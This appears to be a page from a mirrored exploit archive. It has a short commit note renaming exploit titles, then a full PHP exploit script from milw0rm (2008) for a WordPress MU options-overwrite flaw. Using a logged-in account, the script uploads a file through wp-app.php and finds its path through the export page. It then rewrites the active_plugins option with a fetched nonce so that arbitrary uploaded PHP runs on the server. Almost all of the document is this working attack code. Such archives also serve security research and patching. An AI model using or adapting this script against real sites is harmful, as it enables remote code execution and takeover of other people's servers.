477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
98 lines
2.9 KiB
PHP
Executable file
98 lines
2.9 KiB
PHP
Executable file
<?php
|
|
/*
|
|
WordPress [MU] blog's options overwrite
|
|
|
|
Credits : Alexander Concha <alex at buayacorp dot com>
|
|
Website : http://www.buayacorp.com/
|
|
Advisory: http://www.buayacorp.com/files/wordpress/wordpress-mu-options-overwrite.html
|
|
|
|
This exploit uses active_plugins option to execute arbitrary PHP
|
|
*/
|
|
include_once './class-snoopy.php';
|
|
|
|
// Fix Snoopy
|
|
class SnoopyExt extends Snoopy {
|
|
function _prepare_post_body($formvars, $formfiles) {
|
|
if ( is_string($formvars) ) {
|
|
return $formvars;
|
|
}
|
|
return parent::_prepare_post_body($formvars, $formfiles);
|
|
}
|
|
}
|
|
|
|
set_time_limit( 0 );
|
|
|
|
// Any user with 'manage_options' and 'upload_files' capabilities
|
|
$user = 'user';
|
|
$pass = '1234';
|
|
$blog_url = 'http://localhost.localdomain/mu/';
|
|
$remote_file = ''; // relative path to wp-content
|
|
$local_file = ''; // the contents of this file, if any, will be uploaded
|
|
|
|
$snoopy = new SnoopyExt();
|
|
|
|
$snoopy->maxredirs = 0;
|
|
$snoopy->cookies['wordpress_test_cookie'] = 'WP+Cookie+check';
|
|
$snoopy->submit("{$blog_url}wp-login.php", array('log' => $user, 'pwd' => $pass));
|
|
|
|
$snoopy->setcookies(); // Set auth cookies for future requests
|
|
|
|
if ( empty($remote_file) ) {
|
|
// Upload a new file
|
|
$snoopy->_submit_type = 'image/gif';
|
|
$snoopy->submit("{$blog_url}wp-app.php?action=/attachments", get_contents());
|
|
|
|
if ( preg_match('#<id>([^<]+)</id>#i', $snoopy->results, $match) ) {
|
|
$remote_file = basename($match[1]);
|
|
}
|
|
}
|
|
if ( empty($remote_file) ) die('Exploit failed...');
|
|
|
|
// Look for real path
|
|
$snoopy->fetch("{$blog_url}wp-admin/export.php?download");
|
|
|
|
if ( preg_match("#<wp:meta_value>(.*$remote_file)</wp:meta_value>#", $snoopy->results, $match) ) {
|
|
$remote_file = preg_replace('#.*?wp-content#', '', $match[1]);
|
|
}
|
|
if ( empty($remote_file) ) die('Exploit failed...');
|
|
|
|
// It asumes that file uploads are stored within wp-content
|
|
$remote_file = '../' . ltrim($remote_file, '/');
|
|
|
|
$snoopy->fetch("{$blog_url}wp-admin/plugins.php");
|
|
|
|
// Recover previous active plugins
|
|
$active_plugins = array();
|
|
if ( preg_match_all('#action=deactivate&([^\']+)#', $snoopy->results, $matches) ) {
|
|
foreach ($matches[0] as $plugin) {
|
|
if ( preg_match('#plugin=([^&]+)#', $plugin, $match) )
|
|
$active_plugins[] = urldecode($match[1]);
|
|
}
|
|
print_r($active_plugins);
|
|
}
|
|
$active_plugins[] = $remote_file;
|
|
|
|
// Fetch a valid nonce
|
|
$snoopy->fetch("{$blog_url}wp-admin/options-general.php");
|
|
|
|
if ( preg_match('#name=._wpnonce. value=.([a-z\d]{10}).#', $snoopy->results, $match) ) {
|
|
|
|
// Finally update active_plugins
|
|
$snoopy->set_submit_normal();
|
|
$snoopy->submit("{$blog_url}wp-admin/options.php",
|
|
array(
|
|
'active_plugins' => $active_plugins,
|
|
'_wpnonce' => $match[1],
|
|
'action' => 'update',
|
|
'page_options' => 'active_plugins',
|
|
));
|
|
}
|
|
|
|
function get_contents() {
|
|
global $local_file;
|
|
|
|
return file_exists($local_file) ? file_get_contents($local_file) : '<?php echo "Hello World " . __FILE__; ?>';
|
|
}
|
|
?>
|
|
|
|
# milw0rm.com [2008-02-05]
|